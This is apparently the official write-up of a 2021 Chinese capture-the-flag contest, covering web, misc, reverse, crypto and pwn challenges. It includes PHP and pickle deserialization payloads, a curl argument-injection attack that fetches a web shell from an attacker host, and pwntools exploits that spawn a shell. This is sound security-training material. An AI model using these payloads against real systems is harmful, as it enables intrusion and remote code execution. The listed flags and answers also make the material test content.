NEWSCTF第一届--官方wp(2021新春赛)

未经同意不得对本次比赛题目二次开发或做任何商业用途

题目源码及部分wp汇总如下

链接:https://pan.baidu.com/s/1RIatd5BdmHgckwZ4w_Gcog 
提取码:news

Web

1.girlfriend1

出题人:hed9eh0g

?payload='phpphpphpphpphpphpphpphp";s:8:"Hed9eh0g";s:14:"has_girlfriend";}

由于";s:8:"Hed9eh0g";s:14:"has_girlfriend";}总共有40个字符,因此需要逃逸40个字符。

由于一个php替换为hack!!!!逃逸了5个字符,因此需要有8个php用于逃逸。

2.girlfriend2

出题人:hed9eh0g

pickle反序列化最简单题目,

构造payload:

import base64
import pickle
from flask import Flask, Response, request 
import Hed9eh0g_girlfriend
app = Flask(_name_)
class girl:
    def _init_(self, name, age): 
        self.name = name
        self.age = age
@app.route('/', methods=['GET'])
def index():
    if request.method == 'GET': 
        try:
            pickle_data = request.args.get('payload')
            she = pickle.loads(base64.b64decode(pickle_data))
            if she.name==Hed9eh0g_girlfriend.name and she.age==Hed9eh0g_girlfriend.age:
                return Hed9eh0g_girlfriend.flag
        except Exception as e:
            print(repr(e))
            return "Something wrong"
def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin: 
        return fin.read()
@app.route('/source', methods=['GET'])
def show_source():
    return Response(read(_file_), mimetype='text/plain')
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

构造payload:

>>> import base64

>>> base64.b64encode(b'\x80\x03c__main__\ngirl\n)\x81}

(X\x04\x00\x00\x00namecHed9eh0g_girlfriend\nname\nX\x03\x00\x00\x00agecHed9eh0g_girlfriend\nage\nub.')

>>> b'gANjX19tYWluX18KZ2lybAopgX0oWAQAAABuYW1lY0hlZDllaDBnX2dpcmxmcmllbmQKbmFtZQpYAwAAAGFnZWNIZWQ5ZWgwZ19naXJsZnJpZW5kCmFnZQp1Yi4='

构造:

/guess?payload=gANjX19tYWluX18KZ2lybAopgX0oWAQAAABuYW1lY0hlZDllaDBnX2dpcmxmcmllbmQKbmFtZQpYAwAAAGFnZWNIZWQ5ZWgwZ19naXJsZnJpZW5kCmFnZQp1Yi4=

3.ez套娃

出题人:lz2y

打开是源码

hint = $hint;
    }

    public function __destruct(){
	if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }

    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}

function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];

$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");

unserialize(read(write($a)));

算是比较常见的php反序列化字符逃逸吧,通过字符逃逸生成一个evil对象,在对象被销毁的时候获取$this->hint的base64编码,题目说了有东西在hint.php,尝试读取hint.php,在这过程中需要绕过__wakeup(),一开始又说了是在5.4版本的php,直接修改反序列化后的字符绕过就行

hint = $hint;
    }

    public function __destruct(){
        @$this->hint = base64_encode(file_get_contents($this->hint));
        var_dump($this->hint);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
}
$username = 'root';
$password = 'root';

# To get payload
$r = new User($username, $password);
$r->add = new evil('hint.php');
echo serialize($r);
/*
O:4:"User":3:{s:8:"username";s:4:"root";s:8:"password";s:4:"root";s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}
*/

现在需要让usernameroot";s:8:"password";s:4:"root,让s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}为第二个元素,让username逃逸出一个字符,让他吞掉root";s:8:"password";s:4:"root了,\0\0\0经过write()之后,就会多出3个位置,原本为root,现在多了";s:8:"password";s:4:"root,即多了27个,我们需要创造27个字符的位置以容下他,所以我们需要9个\0\0\0(写成\\0是为了防止被转码)

username=root\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=root";s:3:"add";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}

绕过__wakeup

username=root\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0;&
password=root";s:3:"add";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

NEWSCTF第一届--官方wp(2021新春赛)_第1张图片

解码得

进入index.cgi(为了降低难度已给出Hint(防止被喷脑洞题

NEWSCTF第一届--官方wp(2021新春赛)_第2张图片

headers可以看到

"User-Agent": "curl/7.64.0", 
"url": "http://httpbin.org/get?name=Bob"

说明是curl发出请求,url为http://httpbin.org/get?name=Bob

尝试输入name=la2y,回显为

NEWSCTF第一届--官方wp(2021新春赛)_第3张图片

考点是bash参数注入,这里可以利用curl的一些参数getshell

在evil-ip(192.168.247.129)建一个test.py并运行

靶机: 192.168.247.130:1001

import web
urls = ('/.*', 'index')

class index:
    def POST(self):
        data = web.input(file={})
        return data.file.value

    def GET(self):
        return \
"""#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
cmd=${_GET["cmd"]} && eval $cmd
"""

if __name__ == "__main__":
    app = web.application(urls, globals())
    web.httpserver.runsimple(app.wsgifunc(), ("0.0.0.0", 80))
    app.run()

curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y -F [email protected] --resolve *:80:192.168.247.129"可获取源码

NEWSCTF第一届--官方wp(2021新春赛)_第4张图片

curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y --resolve *:80:192.168.247.129 -o index.cgi"写入shell

NEWSCTF第一届--官方wp(2021新春赛)_第5张图片

查flag

NEWSCTF第一届--官方wp(2021新春赛)_第6张图片

其他方法也有很多,这里再贴出一个payload

用curl中的-x配合mitmproxy代理

curl http://192.168.247.130:1002/index.cgi -G --data-urlencode "name=la2y -x 192.168.247.129:8080 -o index.cgi"
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse

data = '''#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
mitmproxy=${_GET["mitmproxy"]} && eval $mitmproxy
'''

class Hook:
	def request(self, flow: HTTPFlow):
		flow.response = HTTPResponse.make(200, data, {'Content-Type':'text/plain'})
		ctx.log.info("Process a request %r" % flow.request.url)

addons = [
Hook()
]

Misc

1.misc 签到处:

出题人:mumuzi

下载附件,查看文件尾,发现 txt 里面的内容是一串 base64 编码,解码得到 flag

2.伪装者:

出题人:haisen

下载附件打开提醒格式错误, winhex 查看发现是 PK 头,但文件尾却未出现 PK ,所以需要把
PK 头修改为 Rar!
题目叫伪装者,查看 txt 发现压缩包密码是人名的拼音,搜索伪装者后查看演员表
最后得出此人在剧中的名字是王天风,密码即 wangtianfeng
此时 wav 还没用到,而解压出来的 niu.jpg 010 中查看并未发现异常,应该是使用了某种
工具进行加密。
Audacity 打开 key.wav ,发现音频末尾有明显的异常,点击播放能听出是拨号声,将前面
的音频删掉,保存拨号声为 wav 格式
然后使用工具“ DTMF 拨号音识别手机键盘密码”
得到 2228333477773338866
明显是 9 键的键盘密码, 222 9 键的 c,8 t ,依次得到 ctfisfun

得到 key,现在猜想 jpg 的常规加密方式,在尝试 jphs05,ImageHide 无果后,成功在 steghide 中分离出 flag

得到 flag.txt

熊曰解密得到 flag{ 牛年大吉今晚吃鸡今晚吃鸡小年快乐 happy}

3.EMOJI 

出题人:mumuzi

下载之后发现打不开,然后发现文件头 Rar! 变成了 Rar ,所以将空白改成 ! 即可解压。
但是发现解压要密码,但是图片是可以直接解压的。
长安十二时辰里面的加密方式
经过计算可以得到 799*248+21=198173
解压密码为:一九八一七三
解压得到 flag.txt
有秘钥的表情包
直接 google emoji-aes
秘钥 sixgod ,密文是表情包
最后得到 flag

 4.Happy ox

出题人:mumuzi

解压得到牛爷爷,和一个压缩包。
压缩包要密码,查看牛爷爷。用 stegsolve 的时候发现 0 通道存在隐写。
LSB 查看得到压缩包密码:

 Password is niuniandaji888

得到 flag.zip password.docx
既然这样看来是要解密码了

科比密码

因为是小写,得到 passwdiskbyydsez
即得到: passwd is kbyydsez
解压得到 flag

5.听说你喜欢薅羊毛

出题人:mumuzi

解压得到两附件其中 羊毛无法 foremoststegsolve 也法得到信息,查看文件尾发现01:

把这串字符拿出来,发现长度为 165 ,因为没给分割线,可以排除摩斯,尝试二进制也无法
得到信息,也不符合二维码,最能想到的就是培根密码。
0-->a,1-->b ,培根解密得到:
Password is tingshuonixihuanyangmao
password 肯定有隐写。
Jpg 隐写联想到 jphs
利用秘钥和图片解得文本
得到 Wdn1His87
即可解压我们的压缩包
Brainpower 百度文件头发现是 mp3 文件
其中,最后一段能听出来明显不对劲/看出来明显不对劲
查看频谱图
放大
得到 PsWdMuzi123
即可解压 flag.zip
得到 flag.txt
发现全是十六进制
查看文件尾
嘶,仔细一想
这不是反过来就是 89504E47 吗, png 文件头
将他反过来试试
脚本(来自知乎):
content = []
with open("input.txt" ) as f:
    for row in f.readline():
        content.append(row)
content.reverse()
with open("output.txt","w" ) as f:
    for row in content:
        f.write(row)
输出得到:89504E470D0A1A0A00000000
看样子就是 png !将他添加进 winhex 试试
看样子又完全不符合 png 格式,这应该是 jpg
参照 jpg 文件头改一下 得到二维码

扫码得到flag

6.缺斤少两:

出题人:mumuzi

解压得到 flag+3 和两个二维码
一个二维码能扫描出 大牛:我也很疑惑呢 ,并且标题为“谐音梗”,另一个是 password
无法扫描,疑惑即异或,
password 右下角缺了一块,盲猜需要跟 谐音梗 异或后得到正确的二维码。
先将 password 谐音梗”异或,然后保存,再将保存的图异或,得到残缺的图
在画图工具下补齐定位点,扫码得到: password:1q2w3e4r5t6y7u8i
解压得到
其中, hint 的内容是:密码是靠猜的,不是爆破!
所以能知道加密方式是 outguess ,把 passwd.jpg 进行 outguess 解密
outguess -r passwd.jpg out.txt
得到密码
news52ctf0

 喵呜发现有 PK 痕迹,binwalk 得到压缩包,压缩包密码即刚刚的密码,解压得到密码题。

先查看 hint (明文长度是 9 ,这里出错了)
棋盘密码,但是打乱了顺序
脚本:
import itertools
s0="abcdefghiklmnopqrstuvwxyz"
s1=["11","12","13","14","15","21","22","23","24","25","31","32","33","34","35","41","42","43"," 44","45","51","52","53","54","55"]
s2=["1","2","3","4","5"]
s4="iftffsissrssirissr"
s3=["f","i","r","s","t"]
s3=list(itertools.permutations(s3))
for k in s3:
    S=""
    for i in range(0,len(s4),2):
        x=""
        for j in s4[i:i+2]:
            x+=s2[list(k).index(j)]
        S+=s0[s1.index(x)]
    print(S)
得到 key keyisthis

 解压,得到 flag.txt NEWSCTF第一届--官方wp(2021新春赛)_第7张图片

这就是缺斤少两么,爱了爱了
知道明文,知道一部分密码表,需要爆破密码表
脚本:
import itertools
def My_base64_decode(inputs,s):
    bin_str = []
    for i in inputs:
        if i != '=':
            x = str(bin(s.index(i))).replace('0b', '')
            bin_str.append('{:0>6}'.format(x))
    #print(bin_str)
    outputs = ""
    nums = inputs.count('=')
    while bin_str:
        temp_list = bin_str[:4]
        temp_str = "".join(temp_list)
        #print(temp_str)
        if(len(temp_str) % 8 != 0):
            temp_str = temp_str[0:-1 * nums * 2]
        for i in range(0,int(len(temp_str) / 8)):
            outputs += chr(int(temp_str[i*8:(i+1)*8],2))
        bin_str = bin_str[4:]
    return outputs
h=['j','u','3','4']
h1=list(itertools.permutations(h))
for i in h1:
    m="".join(i)
    s = "JASGBWcQPRXEFLbCDIlmnHUVKTYZdMovwipatNOefghq56rs"+m+"kxyz012789+/"
    input_str="mtHVnkLnIaP3FaA7KOWjTmKkVjWjVzKjdeNvTnAjoH9iZOIvTeHbvD=="
    print(My_base64_decode(input_str,s),i)
运行得到: NEWSCTF2021{base64_1s_v3ry_e@sy_and_fuN}

 7.哥哥的秘密

出题人:mumuzi

flag{th1s_1s_A_Fla9_aNd_n0bod9_C3n_f1nd_1t}
下载附件,得到题目描述
QQ 2492853776 ,从此入手。
在这里对账号进行信息收集:单看 QQ 的资料没有任何信息,查看 QQ 空间
以时间最早开始分析(从下往上)
 
1.
得到:生日 2000 年、学校位于绵阳
2.
证明生日 2000 ,并且附带第二天是生日,所以可以 得到 20001226
3 无信息
4.
得到:家在乐山
 
5 无信息
6 无信息
7.
得到姓名:刘佳佳
8.
得到: flag 在相册
9 无信息
10 无信息
11.
盲文密码,解码得到: hint: 时地人
整理信息:生日 20001226 、学校绵阳、家乐山、名字刘佳佳、 flag
在相册
并且还可以发现,有个人在下面评论迟来的 20 岁生日。查看空间或者签名可以得到hint
还能发现,这个人相册加了密,分别是 base91 base58 base64 。解码得到: happy
查看相册发现hint请注意哥哥生活的地区这样才能准确找到公司
暂时还没用 等会会用到
查看相册:发现只有“一个二维码可以做”
2+3+8num ,对应 hint 时地人,因为给了形式,所以只会得到两种密码:
1. lsljj20001226( 乐山刘佳佳 20001226)
2. myljj20001226( 绵阳刘佳佳 20001226)
测试发现 lsljj20001226 正确,得到二维码
扫码得到:“My MicroBlog name: 啊这 ovo001
搜索发现 MicroBlog 是微博,得到 微博名称
剩下两个不能打开的相册分别需要回答哥哥的公司名称和 flag 问题
微博搜索发现此人
仍然从下往上说起走:
前两条都没用
第三条:
哥哥在乐山,公司 2598888
搜索乐山座机开头是多少
第四五条没用
第六条:
需要找到邮箱并发送密文,邮箱在 QQ 上
得到相册两张图片:
这里分成两种方式寻找 flag
先说第二种
查看第二张图片,下载原图,发现 PK 痕迹,用 foremost 分解得到 pk 包,解压得到题目:
这里贴上答案:
1. 打五把 csgo 出自: Goyang Ubur Ubur 或者 indihome paket phoenix G/I
2. 现任美国中央情报局局长是 :William Joseph Burns(W)[ 注意是拜登新任命的局长 ]
3.“ 是男人就下一百层 被一位 UP 主找到正确的版本并且更正了百度词条上的错误信息,请
问他的百度名称是什么?(中文转成拼音作答) : 查询可知是一位名叫 假期贩子 UP 主,
发布视频时间为 2021 1 16 日,查看百度词条的历史编辑可以发现当天有一名叫:
居住的街 Sept” 更正,查看右边的区块链信息可以发现版本哈希值是:
f2549bf9e2c93acbb794041185c26fc0 F
4.IAU 1928 国际天文会议中认定的新的星座的拉丁学名是? Ophiuchus O
5.https://www.bilibili.com/ 网站的运营商的官网是?:通过 ipip.net 查询到 ksyun.com K
得到 IWFOK GWFOK
现在说第一种,同样的姿势,原图 --foremost-- 解压
silenteye
得到 OhG0dPleaseN0
查看发现这个图片下面还有 zip ,继续 foremost
Zip 有密码,所以可以根据那个解压了。
 
base64 疯狂套娃,写脚本或者手撸都完事。
得到密文前三位
现在需要寻找后面的。
Winhex 打开发现
零宽字符,使用 https://offdev.net/demos/zwsp-steg-js 解密
解码得到密文后两文是OK
合起来 IWFOK
将这句话发送给邮箱

得到:

23khUrNeAf1igP4PixgoUUDQLaRGGfEpPsFEd9CCKaUWfwYmG4ZmCwFVEkNNwtijxVcn6a6XkwC1ctqMLAax4aGK
长度不符合 base64 ,进行 base58
4d564c54534d4b324e5657484b5753484746574553554a3548553d3d3d3d3d3d
后面有很多 3d ,进行 16 进制转 ascii
MVLTSMK2NVWHKWSHGFWESUJ5HU======
明显 base32
eW91ZmluZG1lIQ==
明显 base64
youfindme!
去打开相册“旗帜”
得到 flag

Reverse

1.easyflower

出题人:1u1u

算花嘛?只是让你不能愉快 F5 ,找到 nop 掉然后 p 识别函数就能 F5 了。
脚本
s=[12,34,56,78,90 ]
d=[98, 71, 79, 61, 60, 120, 68, 67, 55, 106, 121, 125, 94, 126, 47, 98, 70, 103, 35, 63, 45, 3, 25, 51]
flag=''
for i in range(len(d)):
    flag+=chr(d[i]^s[i%5])
print(flag)
#newsftf{y0u_f0und_me!!!}

2.BabyFlower

出题人:1u1u

多了几处花指令,一样 NOP 掉然后 p 识别函数就能愉快的 F5
list1 = [1,3,5,8,9,11,13,14,15,16,18,20]
xor1 = [55,45,72,98,49]
xor2 = [35,123,68,76,75]
xor3 = []
for i in range(5):
    xor3.append(xor1[i]^xor2[i])
temp_str="ZqoU%Wfy{Df=SrTkBH{7{"
flag_list = list(temp_str)
for i in range(12):
    flag_list[list1[i]]= chr(ord(flag_list[list1[i]])-10)
for i in range(len(flag_list)):
    flag_list[i] = chr(ord(flag_list[i])^xor3[i%5])
flag="".join(flag_list)
print(flag)
#N1ce_Y0u_@re_F0unD_Me

3.BabyXor

出题人:1u1u

输入 23 位的字符串进行 md5 进行加密。
然后给定种子,使用 srand ()生成的伪随机数与上 0x19 再与 md5 进行逐个异或( md5 分成 16 组,每组两个数)跑出来的结 果发现 31 位,首位补零,拿去在线网站跑一下就出来了。。
多说一句:伪随机数可以动调调试出来。也可以在 win 平台用 c 语言写一个 srand 传入相同的种子的程序
生成一下。注意。如果文件是 elf 文件,要在 linux 系统上跑程序这个写的程序。这是因为调用的动调链接
库不同导致的。。提个醒。。但也可以动调出。。。
s=[0x0a,0x9f,0xc9,0xe8,0xe3,0x54,0xd0,0x0c,0xca,0x5c,0xc3,0x10,0x1b,0xbe,0x46,0x40]
key=[0x9,0x8,0x1,0x19,0x0,0x0,0x0,0x18,0x0,0x10,0x18,0x9,0x1,0x18,0x9,0x0]
for i in range(len(s)):
    s[i]^=key[i]
    print(hex(s[i])[2:],end='')
print(s)
#0397c8f1e354d014ca4cdb191aa64f40
#yep-7h1s-1s-y0ur-flag!!

Crypto

1.easy_xor

出题人:striving

s="11000010111001111100010100011110011001111110010100011010010111010111001101010111011000011001110101010000010111111001000101010110011001111001010100001110010110010101110111101001010000000110111100000101111111010001101001100111111001010010101001011111100011010111011001000011011100110111011110010101000000100110111110001101011011000100101101000101010111111000100101000110011001111110010100111110010111110000111101011001100101010000010001011001010110110111111111110001010100000011000101011011011111110111001101101101001100110000010100000011000000111011111101110011011101110111001110101001101111100100010101001101000001110001110110010111111010110010111111100101111101"

def xor(a,b):
    S=""
    for i in range(0,len(a)):
        if a[i]==b[i]:
            S+="0"
        else:
            S+="1"
    return S

flag=s[len(s)-15:]
iv=flag
N=[iv]
for i in range(647,17,-15):
    iv=xor(iv,s[i-15:i])
    N.append(iv)
flag=""
for i in range(len(N)-1,-1,-1):
    flag+=N[i]
print("11"+flag)
from Crypto.Util.number import long_to_bytes

flag=int("11000010111001100100000011010010111001100100000011010110110111001101111011101110110111000100000011101000110111100100000011101010111001100100000011000010110110001101100001011000111100001101111011100100010000001101001011100110010000001110011011011110010000001100101011000010111001101111001001011000111001101101111001000000110100001100101011100100110010100100000011010010111001100100000011110010110111101110101011100100010000001100110011011000110000101100111001110100110011001101100011000010110011101111011011110000110111101110010010111110110010101100001011100110111100101011111001001100110000101101110011001000101111101000110011101010111100101111101",2)
print(long_to_bytes(flag))

#flag:flag{xor_easy_&and_Fuy}

2.EZ_RSA

出题人:striving

n=89379109394029280970559142773910507137312841371095763817666537804103549694994475893533103181199539544132627370915381381684826444643070606444864549418529590840953923177237642744014373937763397577259957981152660688518289282345718965481604661566565380826259153258991542131366556400290425175645850630123731466171661729854393959121615970548753257630821742942145215238276087210290974263658526136179453067036424705394295501477981995757972469088950044042157851142522966279309365553960767911674503860157139796807947534002561903393659969740924063606081595957056084244888961588709661995921049112030525676941422779586388642440261
t=10

import gmpy2
for k in range(-1000000,1000000):
    x=gmpy2.iroot(k**2+4*t*n,2)
    
    
    if x[1]:
        
            p=(-k+x[0])//(2*t)
            q=t*p+k
            break
        
import gmpy2
from Crypto.Util.number import long_to_bytes,bytes_to_long
phi=(p-1)*(q-1)
e=57742
c=14567464821113193726690379208635877774064774155869176861519786913451062659990087716712397661348565349805194086610154588543875244259506057415292321666586974792275800118075148091774040539089299096402473260341114362099657263027884229377457131318429769846978447430150504970383412453005997207861560228519562367870935277347099232185198500356408101594936161425554142292628816443215790772416550953938773956798433731654455952497284594672139583080143102015841344105225518870476647065718341950402344619984207919154882834205268981968163229843692054521177400031002262139843560115162798400110263794053785704500186241960584410565945

t=gmpy2.gcd(e,phi)
d=gmpy2.invert(e//t,phi)
m=pow(c,d,n)
msg=gmpy2.iroot(m,t)
if msg[1]:
    print(long_to_bytes(msg[0]))

#flag{y0u_@re_VerY_g0od}

3.EZ_RSA2

出题人:striving

#sage
from Crypto.Util.number import *
import base64
import gmpy2
from sympy import *

c =bytes_to_long(base64.b64decode(open(r"flag.enc","r").read()))
e =16
n=15655549895608923717369637109354975607776312642519676822361139153036975977916588734269088258114440029925219335246200024263344323693357462452236654918906562512386350286606369731100756931696317177848950096598506028047463210933546702437121587677808453558534290815944848287797015147286620019174031269797692940790180804648874590235890298863283123901426983648225843121093048245520296493543614206489832049695481362931925895431269167738255726627538092179232528585102912652089043
q=nextprime(gmpy2.iroot(n,3)[0])
p=prevprime(gmpy2.iroot(n,3)[0])

R. = Zmod(p)[]
f = x ^e - c
f = f.monic()
res1 = f.roots()

R. = Zmod(q)[]
f = x ^e - c
f = f.monic()
res2 = f.roots()

for x in res1:
    for y in res2:
        
            m=CRT([int(x[0]),int(y[0])],[p,q])
            print(m,"\n")
            
#flag:flag{Y0u_g0T_1t&ndRSa_issosoFUny}

4.fan si

出题人:striving

根据两组对应关系求a,b.py

x1=input("输入x1")
y1=input("输入y1")

x2=input("输入x2")
y2=input("输入y2")
s="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"

import gmpy2
x1=s.index(x1)
x2=s.index(x2)
y1=s.index(y1)
y2=s.index(y2)
print(x1,x2,y1,y2)
c=gmpy2.invert(x1-x2,len(s))
a=c*(y1-y2) % len(s)
b=(y1-a*x1)% len(s)
print(a,b)
#得到a,b再仿射解密,或者直接爆破

直接爆破.py

def isPN(a):
    for num in range(2,a):
        if 0==a%num and 0==32%num:
            
            return False
    return True

def get_a_(a):
    i=1
    while (1!=(i*a)%32):
        i=i+1
    return i

def decodeMstr(mStr,a_,b):
    yStr=""
    s="ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
    for Char in mStr:
        if Char in s:
            yStr+=s[a_*(s.index(Char)-b) %32]
        else:
            yStr+=Char
        
    return yStr

mStr=input("输入密文")
choose=input("输入目标明文前四位")
for a in range(1,32,2):
    if False==isPN(a):
        continue
    else:
        a_=get_a_(a)
    for b in range(0,32):
        yStr=decodeMstr(mStr,a_,b)
        if yStr[0:4]==choose:
          print(yStr,end="\t")
          print(a,b)

5.好日子

出题人:striving

就是套娃吧
第一个是文本加密https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=jiantou
第二步base58
第三步rabbit
得到klv,oclz{mkd_slp_vb_zjjs_slp}
那么根据题目:11,11
想到仿射密码,直接解就出了

6.你懂猪圈?

出题人:striving

首先得到mplr{xdt_lgn_l_ipr}没问题吧

然后题目说是猪圈,那就看猪圈对照表呀,轴对称替换了一下(有一个对错了,不好意思,嘻嘻)

如a-l,b-k,c-j
    s-v,t-u

7.RSA算法

出题人:Graffy

解法1:

令p1=89, p2=211, p3=118, p4=226,
q1=310, p2=344, p3=889, p4=489

N=(p1+p2+p3+p4)(q1+q2+q3+q4) mod P=644*2032 mod 251=145

分解N, p=5,q=29

求fn=(p-1)(q-1)=112,

已知e=3,求d=75

则m=cd mod N=8275 mod 145=123

解法2:
依次用公式计算出N.

 博弈

1.矩阵分形博弈:

出题人:Devour
博弈主策略思路
1.因为一人只能横断,一人只能竖切,所以任何一方应该尽量让自己的机会变多,别人的机会变少。
2.任何一方对一个矩形分形之后都会变成两个小矩形,每个小矩形都是两个子游戏,于是两个人围绕着子游戏再次开始博弈。
3.通过样例提示以及某些数据的推理,可以粗略的值当面对一个矩阵的时候从中间分开,将会是最有利于自己策略。于是就会不断二分。
综上,两人的比拼其实是二分次数的比拼,所以log2(先手)>log2(后手)获得的机会更多,反之就更少。

2.砍数,不是砍树

出题人:Devour
经典取石子,为裸巴什博奕,百度巴什博奕后即可发现这个题是巴什博奕原题。答案是先手面对n%(k+1)==0的时候必败,否则必胜

Pwn

1.warm_up

出题人:ntr

在0x601028处有字符串/bin/sh
程序在0x4004c1处有mov eax,0xf;retn; 在0x4004bc处有syscall;
所以可以构造srop利用srop来构造execve("/bin/sh")
在0x4004ca下的函数存在栈溢出漏洞,并且输入地址就是ret地址
所以exp如下:

from pwn import*
sh=process('./hongbao_pwn')
context(os="linux",arch="x86_64")
frame = SigreturnFrame(kernel="amd64")s
frame.rax = 59
frame.rdi=0x601028
frame.rip=0x4004bc
payload=p64(0x4004C1)+p64(0x4004bc)+str(frame)
sh.send(payload)
sh.interactive()

2.pwn2

出题人:A&D工作室-GDUT

exp:

from pwn import *

context.log_level = 'DEBUG'
r=remote("1.15.102.3",10000)
#r=process("./Hed9eh0g")
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF("libc-2.23.so")
def add(id_f,size,content):
	r.sendlineafter("choice :","1")
	r.sendlineafter("id:\n",str(id_f))
	r.sendlineafter("size\n",str(size))
	r.sendlineafter("story:\n",content)

def edit(id_f,content):
	r.sendlineafter("choice :","2")
	r.sendlineafter("id:\n",str(id_f))
	r.sendlineafter("note:\n",content)

def show(id_f):
	r.sendlineafter("choice :","3")
	r.sendlineafter("id:\n",str(id_f))

def delete(id_f):
	r.sendlineafter("choice :","4")
	r.sendlineafter("id:\n",str(id_f))

add(0,0x90,"fish")
add(1,0x10,"aaaa")
delete(0)
show(0)

#leak libc
main_arena_88=u64(r.recv(6).ljust(8,"\x00"))
print "main_arena_88:",hex(main_arena_88)
libc_base=main_arena_88-libc.sym['__malloc_hook']-88-0x10
print "libc_base:",hex(libc_base)
realloc_hook = libc_base+libc.sym['__libc_realloc']
print "realloc_hook:",hex(realloc_hook)

add(2,0x60,"aaaa")
add(3,0x60,"bbbb")

delete(2)
delete(3)
edit(2,p64(main_arena_88-88-0x33))

add(4,0x60,"f")
add(5,0x60,"d")
add(6,0x60,'\x00'*(0x13-0x8)+p64(0x4527a+libc_base)+p64(realloc_hook+6))
#gdb.attach(r)
r.sendlineafter("choice :","1")
r.sendlineafter("id:\n","7")
#gdb.attach(r)
r.sendlineafter("size\n","144")

r.interactive()
到这里就结束啦,撒花,欢迎加入NEWSCTF唯一官方群1063624041
群文件有详细版wp

你可能感兴趣的:(NEWSCTF第一届--官方wp(2021新春赛))